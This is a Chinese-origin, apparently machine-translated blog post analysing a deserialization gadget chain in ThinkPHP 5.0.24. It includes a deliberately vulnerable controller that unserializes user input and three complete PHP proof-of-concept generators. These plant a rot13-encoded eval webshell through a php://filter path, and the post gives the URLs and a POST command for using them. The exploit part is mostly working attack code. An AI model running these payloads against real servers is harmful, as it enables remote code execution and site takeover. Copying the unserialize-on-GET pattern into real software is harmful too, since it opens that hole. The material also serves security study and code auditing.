thinkphp5.0.24 deserialization

Environment construction

thinkphp installation:

composer create-project topthink/think=5.0.* thinkphp5.0 --prefer-dist

Add vulnerability test code in application/index/controller/Index.php:

<?php
namespace app\index\controller;

class Index
{
    public function test()
    {
        $c = unserialize($_GET['c']);
        var_dump($c);
        return 'Welcome to thinkphp5.0.24';
    }
}

Access mode of tp5.0:

Entry File:	http://127.0.0.1/code_audit/thinkphp5.0/public/
url visit:		http://127.0.0.1/code_audit/thinkphp5.0/public/?s=/index/index/test/
Transmit parameters:		http://127.0.0.1/code_audit/thinkphp5.0/public/?s=/index/index/test/&c=1234

chain

Starting point destruct

Direct Ctrl+Shift+F Search__ destruct(

This is followed by the Windows class.

It is found that it has called the removeFiles() method. Follow up.

It is found that the removeFiles() function uses file_exists method. And file_ The value of the parameter $filename of the exists method can be fabricated through serialization, which is controllable.

Let's look at file_ What function is exists.

View file_ We can know from the definition of exists that $filename will be treated as a string, then $filename ->__ The toString () method will be called.

Springboard tostring

Now we need to find an implementation__ The object of toString() method is used as the springboard.

Here, think Model.php may be a springboard.

    public function __toString()
    {
        return $this->toJson();
    }

We used the $this ->toJson() method, and we followed up.

    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

Use the $this ->toArray() method to follow up.


We can see in line 912 that $value calls a getAttr() method. If $value is controllable, we can call it by controlling the value of $value__ The call() method.

Let's follow up and see if $value is controllable.

It is found that the $value in line 902 is assigned by the return value of getRelationData(). We follow the getRelationData() function.

We find that in the getRelationData() function, if the parameter we pass in is a Relation class (method parameter type constraint, function parameter type has written Relation) and meets the condition of an if branch, then $value will be determined by the value of $this ->parent, and the value of $this ->parent is controllable.

1. Judge whether an object of Relation class can be passed in.

Back to hint Model, we found that the $modelRelation variable was passed in when the getRelationData() function was called. That is, the value of the $modelRelation variable should be an object of the Relation class.

Follow up. The $modelRelation variable is determined by the return value of $relation(). That is, the return value of $relation() should be an object of the Ralation class.

Follow up $relation() and find that the $relation() function is called according to the value of $relationship. The value of $relationship is determined by the return value of Loader::parseName($name, 1, false). You can find the parseName() function in Loader.php.

The parseName() function only makes some case substitutions for the passed in $name parameter, and there is no actual filtering operation.
If $name is controllable, the return value of Loader::parseName($name, 1, false) is controllable, and the value of $relation is controllable.

Follow up to see how $name came from and whether it is controllable.

As shown in the figure above, first judge whether $this ->append is empty. If not, enter below. Foreach ($this ->append as $key=>$name)

The value of append is assigned to $name. While $this ->append is controllable, that is, $name is controllable.

We control the value of name to enter the last if statement else. After entering, we can control the value of $relation.

Next, if (method_exists ($this, $relationship)), that is, the value of $relationship is a method name of this class. Here we choose the getError() method.

Because the getError() method will directly return $this ->error, and $this ->error is controllable.
Then the value of $relation should be getError.

The value of the $modelRelation variable is the return value of $relation(), that is, the return value of the getError() method, that is, the value of $this ->error.

To make the value of the $modelRelation variable an object of the Relation class, we need to control that the value of $this ->error is an object of the Relation class.

To sum up, you can pass an object parameter of the Relation class to the getRelationData() function.

2. It seems that the condition of if branch is not satisfied.

The value of $this ->parent is controllable, and the first condition of if branch can be met.

Next, let's look at the second condition, followed by the isSelfRelation() function.

Directly return $this ->selfRelation, which is controllable, so we can meet the second condition of if.

Next, let's look at the third condition and continue to follow up the getModel() function.

Return $this ->query ->getModel(), and $query is controllable. Therefore, we need to find which class's getModel() return value is controllable. Here we find the hint db Query class, and follow up the hint db Query class

\The getModel() method of the think db Query class returns $this ->model, which is controllable.
Therefore, the third condition is met and the if branch is met.

To sum up, if branch conditions are satisfied.

Then you can control the value of $value by controlling the value of $this ->parent.

Looking down, although $value is controllable, we need to meet two if conditions to call__ call() method, we follow up the two if conditions.

The first if condition needs to satisfy that $modelRelation has the getBindAttr() function. We searched the getBindAttr() function globally and found that the method does not exist in the Relation class, but exists in the OneToOne class, and the OneToOne class is a subclass of the Relation class.

The getBindAttr() function of OneToOne class directly returns $this ->bindAttr, and $this ->bindAttr is controllable.

Follow up OneToOne.php and find that OneToOne is an abstract class and cannot generate an instance.

We searched the class inheriting it globally and found that the HasOne class (or BelongsTo) inherits the OneToOne class. Therefore, we can set the value of $modelRelation to HasOne, and then the first if condition can be met.

Since $this ->bindAttr is controllable, we can also meet the second if condition.

We follow up and find that the $attr variable is determined by $bindAttr, and the $attr variable is used in the $value ->getAttr() of line 912. Therefore, $value ->getAttr ($attr) is controllable, so we can call it according to $value ->getAttr ($attr)__ The call() method.

Last call

At this point, we need to find the one that can write webshell__ call() method, where the think console Output class is selected

Let's take a look at in_array method:

If (in_array ($method, $this ->styles)), the $method is getAttr, and $this ->styles is controllable. Just add a getAttr to the styles array. So you can enter the first if successfully.

array_ The unshift() function is used to insert a new element into the array, and the value of the new array will be inserted at the beginning of the array. array_ The parameters in unshift ($args, $method) are controllable, so going down has no effect.

call_user_func_array() is a callback function, which can take an array parameter as the parameter of the callback function. call_user_func_array([$this, 'block'], $args); That is, call the block function, and the passed parameter is the $args array.

Let's follow the block function.

Follow up the writelin function.

Follow up the write function.

Here, $this ->handle is controllable. We look for a write() method that can write webshell s. This time, we choose the write() method of the think session driver Memcache class.

Here, the $this ->handler is controllable, using the $this ->handler ->set method.

We continue to look for set() methods that can write webshell s. This time, we choose the think cache driver File class.

We can see that the set() method of the think cache driver File class passes the file_put_contents() writes $data into the $filename file. We follow up $data and $filename to see if they are controllable.

Follow up and find that the value of $filename is determined by the getCacheKey() method. Let's follow up the getCacheKey() function.

From the statement at line 80 of the getCacheKey() function, we can know that the suffix of $filename is dead, which is php, and that some options['path '] of the filename are controllable.

At this time, if $data is controllable, you can get the shell.
We follow up $data and find that $data is ultimately determined by the write() method of the think console Output class. The value of $data is true and has been written to death.

This shows that file_ put_ The contents() function can write to the php file, but the content is uncontrollable and cannot write to the shell.

Go ahead and find a setTagItem() function. Follow up the function.

We can see that the setTagItem() function is called again in the setTagItem() function, and this time the $key is controllable. The $value is determined by the previous $filename, which also means that we can write the setTagItem() to the php file again to get the shell.

Now that the whole pop chain has been combed, let's see how to use this pop chain to get the shell.

POP chain

When using, we need to bypass the limit of exit() first, because we use file_ put_ When content () is written to the file, there is an exit() function and it is at the front. If the exit() function is executed, it will automatically exit, and the shell we write will not be executed. Therefore, we need to bypass this function. Here, we use the pseudo protocol encoding of php to bypass this function.

That is to say, we only need to use the pseudo protocol in the file name to bypass the exit() function

At this point, we can actually write the entire payload, but at present, we can only write payloads under Linux.

First, comb the chain:

Windows Of class__destruct()-->removeFiles()-->Model Of class__tostring()-->toJson()-->toArray()-->Output Of class__call()-->block()-->writeln()-->write()-->Memcache Of class write()-->File Of class set()-->Driver Of class setTagItem()-->File Of class set()-->file_put_contents write in shell

POC

Compilation of tp5.0 deserialized poc under linux (with detailed comments):

<?php
/*
The starting point of deserialization is in the Windows class__ destruct method, so copy the Windows class.
The known links of Windows class are:
	__destruct()-->removeFiles()-->file_exists()-->Model Of class__ tostring()
Where file_ The parameters of exists are determined by the files attribute of the Windows class. We need to control that files are objects of a certain class, so copy the files attribute.
files The value of should select a class that has tostring methods and can be used.
*/
/* 
About the use of namespace and use here:
1.namespace Just copy the original.
2.use The following values should be filled in the namespace of the new class in this class.
	For example, if there is a new Pivot class in the Windows class, write use<the namespace of the Pivot class> Pivot in front of the Windows class, that is, use think  model  Pivot.
*/
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files=[];
    public function __construct(){
		$this->files = array(new Pivot());	
	}
}

//---------------------------------------------------------------------------

/*
Originally, it was the tostring method that triggered the Model class, but the Model is an abstract class and cannot be instantiated (new).
The Pivot class inherits the Model class and has the properties and methods of the Model class, so you can achieve the same effect by copying the Pivot class.
This chain is:
	__tostring()-->toJson()-->toArray()
Mainly the use of toArray() method. According to the previous analysis, if we want to use $value ->getAttr ($attr) to trigger the call method, we need to control the value of value.
1.Control $append -->control $name -->control $relation, and $relation should be=getError, so $append=array('getError ');!!!
2.$modelRelation The return value equal to $relation() is the return value of getError(), which is the value of $error.
	$modelRelation It must also be a Relation object. So $error is the object of Relation. However, Relation is an abstract class and cannot be instantiated.
	We look for classes that inherit the Relation class. The OneToOne class inherits the Relation class, and the BelongsTo class inherits the OneToOne class.
	So $error=new BelongsTo();!!!
3.getRelationData Three if of:
	-Model The parent of class is not empty.
	-Relation The selfRelation of class should be false, selfRelation=false;!!!.
	-Relation The return value of the getModel() function called by the query of the class should be equal to the parent of the Model class.
		Model The parent of the class is controllable, and the query of the Relation class is controllable. We can find the class with controllable getModel() function.
		The Query class is used here, and the controllable variable is model.

The call method that triggers the Output class is selected here, so
Pivot The parent of the class and the model of the Query class are equal to new Output();!!!

4.Two if
	-BelongsTo Class should have getBindAttr() function, because OneToOne class has getBindAttr() function, and BelongsTo class inherits OneToOne class, so it just meets the requirements.
	-$bindAttr Not empty -->The return value of getBindAttr() of BelongsTo class is not empty -->The bindAttr attribute of BelongsTo class is not empty.
		So randomly assign a value bindAttr=array('hacker ')

*/
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct(){
        $this->append=array('getError');
        $this->error=new BelongsTo();
        $this->parent=new Output();
	}
}

namespace think\model\relation;
use think\db\Query;
class BelongsTo{
    protected $selfRelation;
    protected $query;
    protected $bindAttr;
    public function __construct(){
        $this->selfRelation=false;
        $this->query=new Query();
        $this->bindAttr=array('hacker');
    }
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this->model=new Output();
    }
}

//---------------------------------------------------------------------------
/*
$value As an Output object, $value ->getAttr ($attr) triggers the call method of the Output class.
This chain:
	__call()-->block()-->writeln()-->write()
1.$method It is known that it is getAttr, so to enter the first if, we control $styles=['getAttr '];!!!
2.Followed by write(), the handle is controllable, and we call the write of the Memcache class
	So control handle=new Memcache();!!!
*/
namespace think\console;
use think\session\driver\Memcache;
class Output
{
    protected $styles;
    private $handle;
    public function __construct(){
        $this->styles = ['getAttr'];
        $this->handle=new Memcache();
    }
}

/*
handler Controllable. Call set. Here you choose to call the set method of the File class.
So control handler=new File();!!!
*/
namespace think\session\driver;
use think\cache\driver\File;
class Memcache
{
    protected $handler;
    public function __construct(){
        $this->handler=new File();
    }
}

/*
Use setTagItem() method to control filename and data.
setTagItem()The method is in the Driver class, while the File class inherits the Driver class and has the properties and methods of the Driver class.
setTagItem()The tag attribute of the first if of the method should not be empty. We can give a value at random: $tag='hacker ';!!!
$filename Return value from getCacheKey().
getCacheKey()The first two if s of the function are not required, so options['cache_subdir']=false and options['prefix']='' are controlled.
$filename Related to options['path ']. So control options['path ']=>' php://filter/write=string.rot13/resource= <? cuc @riny($_CBFG[\'pzq\']);?>'
Pseudo protocol encoding bypasses exit().
*/
namespace think\cache\driver;
class File
{
    protected $tag;
    protected $options;
    public function __construct(){
        $this->tag='hacker';
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>',
            'data_compress' => false,
        ];
    }
}

use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=Serialized results
 Then visit
http://xxxxx/public/%3C%3Fcuc%20%40riny(%24_CBFG%5B'pzq'%5D)%3B%3F%3E9eb29dfe314054b3d7d41b9c9b3e938c.php
POST: cmd=phpinfo();
*/

poc under linux

linux based tp5.0 deserialization uses poc (clean sanitary version):

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files=[];
    public function __construct(){
		$this->files = array(new Pivot());	
	}
}

namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct(){
        $this->append=array('getError');
        $this->error=new BelongsTo();
        $this->parent=new Output();
	}
}

namespace think\model\relation;
use think\db\Query;
class BelongsTo{
    protected $selfRelation;
    protected $query;
    protected $bindAttr;
    public function __construct(){
        $this->selfRelation=false;
        $this->query=new Query();
        $this->bindAttr=array('hacker');
    }
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this->model=new Output();
    }
}

namespace think\console;
use think\session\driver\Memcache;
class Output
{
    protected $styles;
    private $handle;
    public function __construct(){
        $this->styles = ['getAttr'];
        $this->handle=new Memcache();
    }
}

namespace think\session\driver;
use think\cache\driver\File;
class Memcache
{
    protected $handler;
    public function __construct(){
        $this->handler=new File();
    }
}

namespace think\cache\driver;
class File
{
    protected $tag;
    protected $options;
    public function __construct(){
        $this->tag='hacker';
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>',
            'data_compress' => false,
        ];
    }
}

use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=Serialized results
 Then visit
http://xxxxx/public/%3C%3Fcuc%20%40riny(%24_CBFG%5B'pzq'%5D)%3B%3F%3E9eb29dfe314054b3d7d41b9c9b3e938c.php
POST: cmd=phpinfo();
*/

Why can't windows work? Because windows file names cannot contain "<", "?" ">" and other characters, but we use these characters when using the pseudo protocol, so we need to find some other ways to use this pop chain in windows. At this time, we need to find other places to assign file names.

Here we find the set() method of think cache driver Memcached, that is, when the program reaches Memcache For the write method in PHP, we do not directly assign $this ->handle as a File object, but as a Memcached object in cache.

win,linux general poc

The tp5.0 deserialization under Windows (linux, Win Universal) uses poc:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files=[];
    public function __construct(){
		$this->files = array(new Pivot());	
	}
}


//The tostring originally triggered the Model class, but the Model is an abstract class and cannot be instantiated.
//So use the Pivot class that inherits the Model
namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
class Pivot{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct(){
        $this->append=array('getError');//!
        $this->error=new BelongsTo();
        $this->parent=new Output();
	}
}

namespace think\model\relation;
use think\db\Query;
class BelongsTo{
    protected $selfRelation;
    protected $query;
    protected $bindAttr;
    public function __construct(){
        $this->selfRelation=false;
        $this->query=new Query();
        $this->bindAttr=array('hacker');
    }
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    public function __construct(){
        $this->model=new Output();
    }
}

namespace think\console;
use think\session\driver\Memcache;
class Output
{
    protected $styles;
    private $handle;
    public function __construct(){
        $this->styles = ['getAttr'];
        $this->handle=new Memcache();
    }
}

namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache
{
    protected $handler;
    public function __construct(){
        $this->handler=new Memcached();
    }
}
namespace think\cache\driver;
class File
{
    protected $tag;
    protected $options = [];
    public function __construct()
    {
        $this->tag = true;
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/write=string.rot13/resource=./',
        ];
    }
}
 
class Memcached
{
    protected $tag;
    protected $options = [];
    protected $handler = null;
 
    public function __construct()
    {
        $this->tag = true;
        $this->handler = new File();
        $this->options = [
            'expire'   => 0,
            'prefix'   => '<?cuc @riny($_CBFG[\'pzq\']);?>',
        ];
    }
}

use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));
/*
http://xxxxx/public/?s=/index/index/test&c=Serialized results
 Then visit
http://xxxxx/public/0f3a97a39ce7ab0b6672494aace6b06a.php
POST: cmd=phpinfo();
*/

Learning link:

Tags: PHP Web Security programming language

Posted by dfego on Mon, 19 Sep 2022 01:31:43 +0930